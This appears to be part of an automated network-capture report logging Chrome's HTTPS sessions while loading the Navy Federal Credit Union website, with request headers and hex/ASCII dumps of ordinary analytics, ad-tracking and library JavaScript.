2024-05-24 22:46:01 UTC	310	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 3b 72 65 74 75 72 6e 20 61 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 62 3d 22 78 78 78 78 78 78 78 78 78 78 78 78 34 78 78 78 79 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 22 2e 72 65 70 6c 61 63 65 28 2f 5b 78 79 5d 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 2c 64 3b 72 65 74 75 72 6e 20 63 3d 28 61 2b 31 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 25 31 36 7c 30 2c 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2f 31 36 29 2c 64 3d 22 78 22 3d 3d 3d 62 3f 63 3a 33 26 63 7c 38 2c 64 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 29 7d 2c 61 7d 28 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 52 6f 63 6b 65 74 66 75 65 6c 42 43 50 Data Ascii: =function(){var a,b;return a=(new Date).getTime(),b="xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx".replace(/[xy]/g,function(b){var c,d;return c=(a+16*Math.random())%16\|0,a=Math.floor(a/16),d="x"===b?c:3&c\|8,d.toString(16)})},a}(),"object"==typeof window.RocketfuelBCP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49887	18.239.69.60	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	562	OUT	GET /p13n/navy-federal-credit-union/p13n.min.js HTTP/1.1 Host: cdn.boomtrain.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 95099 Connection: close Date: Fri, 24 May 2024 22:46:02 GMT Last-Modified: Fri, 24 May 2024 11:38:23 GMT ETag: "cfa9a47e9ea7bbfa514761cd58cd2bef" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 x-amz-version-id: ex2jEBneGehlbKLpD2mvxeZzzmvljFgl Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 2837e32f921e7e7517dd6f5461c37dfa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: mh4shNnsPVERIpIHv0hLtHJ0NFRDJHg-051-vz3Q-u_2KeltBoIxiw==
2024-05-24 22:46:02 UTC	15773	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 69 66 28 72 5b 6e 5d 29 72 65 74 75 72 6e 20 72 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 72 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 74 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 72 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 3d 65 2c 74 2e 63 3d 72 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 29 7b 74 2e 6f 28 65 2c 72 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 Data Ascii: (function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumera
2024-05-24 22:46:02 UTC	4	IN	Data Raw: 69 63 74 27 Data Ascii: ict'
2024-05-24 22:46:02 UTC	16384	IN	Data Raw: 3b 76 61 72 20 6e 3d 72 28 34 29 2e 66 2c 6f 3d 72 28 34 37 29 2c 73 3d 72 28 35 33 29 2c 61 3d 72 28 38 29 2c 69 3d 72 28 35 34 29 2c 6c 3d 72 28 32 39 29 2c 64 3d 72 28 34 36 29 2c 75 3d 72 28 36 33 29 2c 63 3d 72 28 37 31 29 2c 70 3d 72 28 36 29 2c 66 3d 72 28 35 30 29 2e 66 61 73 74 4b 65 79 2c 5f 3d 72 28 35 35 29 2c 67 3d 70 3f 27 5f 73 27 3a 27 73 69 7a 65 27 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 2c 6e 3d 66 28 74 29 3b 69 66 28 27 46 27 21 3d 3d 6e 29 72 65 74 75 72 6e 20 65 2e 5f 69 5b 6e 5d 3b 66 6f 72 28 72 3d 65 2e 5f 66 3b 72 3b 72 3d 72 2e 6e 29 69 66 28 72 2e 6b 3d 3d 74 29 72 65 74 75 72 6e 20 72 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 7b 67 65 74 43 6f 6e 73 74 72 75 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: ;var n=r(4).f,o=r(47),s=r(53),a=r(8),i=r(54),l=r(29),d=r(46),u=r(63),c=r(71),p=r(6),f=r(50).fastKey,_=r(55),g=p?'_s':'size',h=function(e,t){var r,n=f(t);if('F'!==n)return e._i[n];for(r=e._f;r;r=r.n)if(r.k==t)return r};e.exports={getConstructor:function(e,
2024-05-24 22:46:02 UTC	16384	IN	Data Raw: 64 73 28 65 29 7d 7d 2c 7b 6b 65 79 3a 27 5f 75 70 64 61 74 65 55 73 65 72 27 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 62 5b 27 64 65 66 61 75 6c 74 27 5d 2e 72 65 6a 65 63 74 28 27 55 70 64 61 74 65 55 73 65 72 3a 20 4e 6f 20 70 72 6f 70 65 72 74 69 65 73 27 29 3b 76 61 72 20 72 3d 74 68 69 73 2e 67 65 74 55 6e 69 71 75 65 43 6c 69 65 6e 74 49 64 73 28 65 29 3b 72 65 74 75 72 6e 20 65 3d 74 68 69 73 2e 72 65 6d 6f 76 65 55 6e 69 71 75 65 43 6c 69 65 6e 74 49 64 73 28 65 29 2c 72 26 26 28 30 2c 45 5b 27 64 65 66 61 75 6c 74 27 5d 29 28 65 2c 7b 75 6e 69 71 75 65 5f 63 6c 69 65 6e 74 5f 69 64 73 3a 72 7d 29 2c 74 68 69 73 2e 5f 69 64 65 6e 74 69 66 79 28 29 2e 74 68 65 Data Ascii: ds(e)}},{key:'_updateUser',value:function(e){var t=this;if(!e)return b['default'].reject('UpdateUser: No properties');var r=this.getUniqueClientIds(e);return e=this.removeUniqueClientIds(e),r&&(0,E['default'])(e,{unique_client_ids:r}),this._identify().the
2024-05-24 22:46:02 UTC	2048	IN	Data Raw: 74 27 3b 76 61 72 20 6e 3d 72 28 34 37 29 2c 6f 3d 72 28 32 36 29 2c 73 3d 72 28 32 38 29 2c 61 3d 7b 7d 3b 72 28 39 29 28 61 2c 72 28 33 29 28 27 69 74 65 72 61 74 6f 72 27 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 28 61 2c 7b 6e 65 78 74 3a 6f 28 31 2c 72 29 7d 29 2c 73 28 65 2c 74 2b 27 20 49 74 65 72 61 74 6f 72 27 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 76 61 72 20 6e 3d 72 28 34 29 2c 6f 3d 72 28 37 29 2c 73 3d 72 28 31 35 29 3b 65 2e 65 78 70 6f 72 74 73 3d 72 28 36 29 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: t';var n=r(47),o=r(26),s=r(28),a={};r(9)(a,r(3)('iterator'),function(){return this}),e.exports=function(e,t,r){e.prototype=n(a,{next:o(1,r)}),s(e,t+' Iterator')}},function(e,t,r){var n=r(4),o=r(7),s=r(15);e.exports=r(6)?Object.defineProperties:function(e,
2024-05-24 22:46:02 UTC	16384	IN	Data Raw: 28 32 38 29 2c 70 3d 72 28 33 32 29 2c 66 3d 72 28 33 29 2c 5f 3d 72 28 34 39 29 2c 67 3d 72 28 35 31 29 2c 68 3d 72 28 31 31 37 29 2c 79 3d 72 28 36 36 29 2c 6d 3d 72 28 37 29 2c 76 3d 72 28 35 29 2c 78 3d 72 28 31 32 29 2c 62 3d 72 28 34 34 29 2c 53 3d 72 28 32 36 29 2c 45 3d 72 28 34 37 29 2c 54 3d 72 28 31 31 38 29 2c 4f 3d 72 28 31 31 39 29 2c 49 3d 72 28 34 29 2c 50 3d 72 28 31 35 29 2c 4d 3d 4f 2e 66 2c 52 3d 49 2e 66 2c 77 3d 54 2e 66 2c 4e 3d 6e 2e 53 79 6d 62 6f 6c 2c 41 3d 6e 2e 4a 53 4f 4e 2c 4c 3d 41 26 26 41 2e 73 74 72 69 6e 67 69 66 79 2c 43 3d 27 70 72 6f 74 6f 74 79 70 65 27 2c 71 3d 66 28 27 5f 68 69 64 64 65 6e 27 29 2c 44 3d 66 28 27 74 6f 50 72 69 6d 69 74 69 76 65 27 29 2c 55 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 Data Ascii: (28),p=r(32),f=r(3),_=r(49),g=r(51),h=r(117),y=r(66),m=r(7),v=r(5),x=r(12),b=r(44),S=r(26),E=r(47),T=r(118),O=r(119),I=r(4),P=r(15),M=O.f,R=I.f,w=T.f,N=n.Symbol,A=n.JSON,L=A&&A.stringify,C='prototype',q=f('_hidden'),D=f('toPrimitive'),U={}.propertyIsEnume
2024-05-24 22:46:02 UTC	1024	IN	Data Raw: 74 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 64 6f 6e 65 3f 65 2e 76 61 6c 75 65 3a 73 2e 6e 65 78 74 28 29 7d 29 7d 2c 69 28 4e 29 2c 4e 5b 62 5d 3d 27 47 65 6e 65 72 61 74 6f 72 27 2c 4e 5b 76 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 4e 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 27 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 27 7d 2c 45 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 65 29 74 2e 70 75 73 68 28 72 29 3b 72 65 74 75 72 6e 20 74 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 66 6f 72 28 3b 74 2e 6c 65 6e 67 74 68 3b Data Ascii: t().then(function(e){return e.done?e.value:s.next()})},i(N),N[b]='Generator',N[v]=function(){return this},N.toString=function(){return'[object Generator]'},E.keys=function(e){var t=[];for(var r in e)t.push(r);return t.reverse(),function r(){for(;t.length;
2024-05-24 22:46:02 UTC	16384	IN	Data Raw: 66 28 6f 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 29 7b 76 61 72 20 61 3d 79 2e 63 61 6c 6c 28 6f 2c 27 63 61 74 63 68 4c 6f 63 27 29 2c 69 3d 79 2e 63 61 6c 6c 28 6f 2c 27 66 69 6e 61 6c 6c 79 4c 6f 63 27 29 3b 69 66 28 61 26 26 69 29 7b 69 66 28 74 68 69 73 2e 70 72 65 76 3c 6f 2e 63 61 74 63 68 4c 6f 63 29 72 65 74 75 72 6e 20 74 28 6f 2e 63 61 74 63 68 4c 6f 63 2c 21 30 29 3b 69 66 28 74 68 69 73 2e 70 72 65 76 3c 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 72 65 74 75 72 6e 20 74 28 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7d 65 6c 73 65 20 69 66 28 61 29 7b 69 66 28 74 68 69 73 2e 70 72 65 76 3c 6f 2e 63 61 74 63 68 4c 6f 63 29 72 65 74 75 72 6e 20 74 28 6f 2e 63 61 74 63 68 4c 6f 63 2c 21 30 29 3b 7d 65 6c 73 65 20 69 66 28 21 69 29 74 68 72 Data Ascii: f(o.tryLoc<=this.prev){var a=y.call(o,'catchLoc'),i=y.call(o,'finallyLoc');if(a&&i){if(this.prev<o.catchLoc)return t(o.catchLoc,!0);if(this.prev<o.finallyLoc)return t(o.finallyLoc)}else if(a){if(this.prev<o.catchLoc)return t(o.catchLoc,!0);}else if(!i)thr
2024-05-24 22:46:02 UTC	10714	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 5c 6e 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 69 6f 6e 22 3e 27 2b 74 2b 27 3c 2f 73 70 61 6e 3e 5c 6e 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 5c 6e 20 20 20 20 27 7d 2c 75 3d 74 2e 49 6e 73 70 65 63 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 72 3d 30 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 3b 28 30 2c 73 5b 27 64 65 66 61 75 6c 74 27 5d 29 28 74 68 69 73 2c 65 29 2c 74 68 69 73 2e 68 6f 76 65 72 65 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 65 6c 65 63 74 65 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 Data Ascii: ></span>\n <span class="action">'+t+'</span>\n </span>\n '},u=t.Inspector=function e(){var t=this,r=0<arguments.length&&arguments[0]!==void 0?arguments[0]:{};(0,s['default'])(this,e),this.hovered=null,this.selected=null,this.initialize=fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49889	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	917	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:01 UTC	4571	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"17661230070234255452"}],"aggregatable_trigger_data":[{"filters":[{"14":["9171532"]}],"key_piece":"0x3131a462f25d498f","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xa486471e9352c01","not_filters":{"14":["9171532"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65, [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49891	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	928	OUT	GET /activity;register_conversion=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:01 UTC	4401	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"3741157376834817608"}],"aggregatable_trigger_data":[{"filters":[{"14":["9513454"]}],"key_piece":"0x3b51fecaabfae774","source_keys":["12","13","14","15","16","17","18","19","20","21","628564600","628564601","628564602","628564603","628660816","628660817","628660818","628660819","628732268","628732269","628732270","628732271","628823196","628823197","628823198","628823199","628842768","628842769","628842770","628842771"]},{"key_piece":"0xe151fd8cfcae57b7","not_filters":{"14":["9513454"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628564600","628564601","628564602","628564603","628660816","628660817","628660818","628660819","628732268","628732269","628732270","628732271","628823196","628823197","628823198","628823199","628842768","628842769","628842770","628842771"]}],"aggregatable_values":{"12":65,"13":65,"14":65,"15":6356,"16":65,"17":65,"18":6356,"19":65,"20":65,"21":6356,"628564600":43,"62 [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49898	216.239.36.54	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	670	OUT	POST /pdst-events-prod-sink HTTP/1.1 Host: us-central1-adaptive-growth.cloudfunctions.net Connection: keep-alive Content-Length: 458 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:01 UTC	458	OUT	Data Raw: 5b 7b 22 70 69 64 22 3a 22 61 35 34 64 36 32 37 35 61 32 38 63 34 34 33 62 38 65 31 35 36 31 62 34 65 65 33 65 31 39 66 38 22 2c 22 73 69 64 22 3a 22 30 37 64 34 62 34 61 32 38 62 35 66 34 32 32 37 61 65 66 64 32 65 30 30 35 66 36 66 39 32 35 64 22 2c 22 65 76 65 6e 74 73 22 3a 5b 7b 22 61 63 74 69 6f 6e 22 3a 22 69 6e 69 74 22 2c 22 74 69 6d 65 22 3a 31 37 31 36 35 39 30 37 35 38 2e 39 38 36 2c 22 67 72 6f 75 70 22 3a 6e 75 6c 6c 2c 22 6c 61 62 65 6c 22 3a 6e 75 6c 6c 2c 22 65 78 70 65 72 69 6d 65 6e 74 22 3a 6e 75 6c 6c 2c 22 62 6f 64 79 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 76 79 66 65 64 65 72 61 6c 2e 6f 72 67 2f 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 69 6e 49 66 72 61 6d 65 22 3a 66 61 6c 73 65 2c 22 77 Data Ascii: [{"pid":"a54d6275a28c443b8e1561b4ee3e19f8","sid":"07d4b4a28b5f4227aefd2e005f6f925d","events":[{"action":"init","time":1716590758.986,"group":null,"label":null,"experiment":null,"body":{"url":"https://www.navyfederal.org/","referrer":"","inIframe":false,"w
2024-05-24 22:46:01 UTC	435	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Accept Access-Control-Allow-Methods: GET, POST Content-Type: text/html; charset=utf-8 Function-Execution-Id: vsjzh8u7vesa X-Cloud-Trace-Context: 7edc40cacbb18b1253d0ed6d14432e1b Date: Fri, 24 May 2024 22:46:01 GMT Server: Google Frontend Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:01 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49893	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	1067	OUT	GET /ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49896	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	542	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 12157 Connection: close Date: Fri, 24 May 2024 02:56:10 GMT Last-Modified: Mon, 20 May 2024 07:02:23 GMT ETag: "a60a4e2650f94da6f243b9518761b381" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 58fc6cf05625e5ee74a288151d13c370.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: CCyQAMgwSZRD3TsYiJ9Krj8pT0pWuvirc9XSpfu6vaTHl_g3tE7O6Q== Age: 71392
